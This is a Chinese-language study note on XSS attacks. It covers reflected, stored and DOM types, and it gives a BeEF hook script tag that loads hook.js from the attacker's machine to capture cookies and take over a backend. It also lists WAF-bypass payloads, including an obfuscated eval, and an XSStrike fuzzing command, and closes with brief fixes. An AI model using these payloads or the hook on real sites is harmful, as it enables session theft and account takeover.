一、XSS 简介
跨站脚本攻击XSS,为了不和层叠样式表(css)的缩写混淆,故将跨站脚本攻击缩写为 XSS,
恶意攻击者往 Web 页面里插入恶意 Script 代码,当用户浏览该页面时,嵌入Web 里面的Script 代码会被执行,从而达到恶意攻击用户的目的。
二、反射型与存储型XSS
xss 攻击可分为三类:反射型、存储型、dom 型,很容易混淆的。
(1)反射性
恶意用户向网站发送包含恶意脚本代码的请求,然后网站将这些恶意代码反射回给用户,并在用户的浏览器中执行这些代码,导致恶意用户能够执行各种攻击,如窃取用户的敏感数据,劫持用户会话等。
在留言框输入下列代码。
<script>alret(1)</script>
当代码无法在留言板中完全输入时,直接在地址栏中搜索
(2)存储型
攻击数据存储在服务器,攻击一直持续下去,危害比反射大
攻击方式与反射性类似。
(3)dom型
攻击者通过在受害者网页中注入恶意脚本,来实现对页面的控制。
DOM 型与服务器没有太大的关系,不需要和服务器交互,攻击纯粹发生在客户端。
(4)Beef
Beef-XSS是一款功能强大的 「XSS 漏洞利用工具」,kali 自带,基于Ruby 语言开发。
1、输入下列代码:
beef-xss
2、beef会给出Hook: <script src="http://192.168.0.8:3000/hook.js"></script>代码
注:IP 为自己kali IP,即攻击方
3、在本地留言板中粘贴代码即可,其中拦截cookie获取cookie值,从而登录后台
三、XSS 的绕过与修复
(1)标签语法替换
使用其他标签来替换,不同 WAF 过滤的手段并不一样,需要自己尝试。
audio标签
<audio src=x onerror=alert(47)>
<audio src=x onerror=prompt(1);>
<audio src=1 href=1 onerror=javascript:alert(1)></audio>
button 标签
<button onfocus=alert(1) autofocus>
<button/onclick=alert(1) >xss</button>
加密算法
<details open ontoggle=eval(String.fromCharCode(97,108,101,114,116,40,49,41)) >
XSStrike工具
GitHub - s0md3v/XSStrike: Most advanced XSS scanner.
C:\Users\86188\Desktop\tool\XSStrike-master>python xsstrike.py -u"http://localhost/1.php?x=1" --fuzzer
fuzz
https://github.com/tennc/fuzzdb/
修复
httponly
在 cookie 中设置了 HttpOnly 属性,那么通过 js 脚本将无法读取到cookie信息,这样能有效的防止 XSS 攻击,但是并不能防止 xss 漏洞只能是防止cookie被盗
WAF
输入、输出验证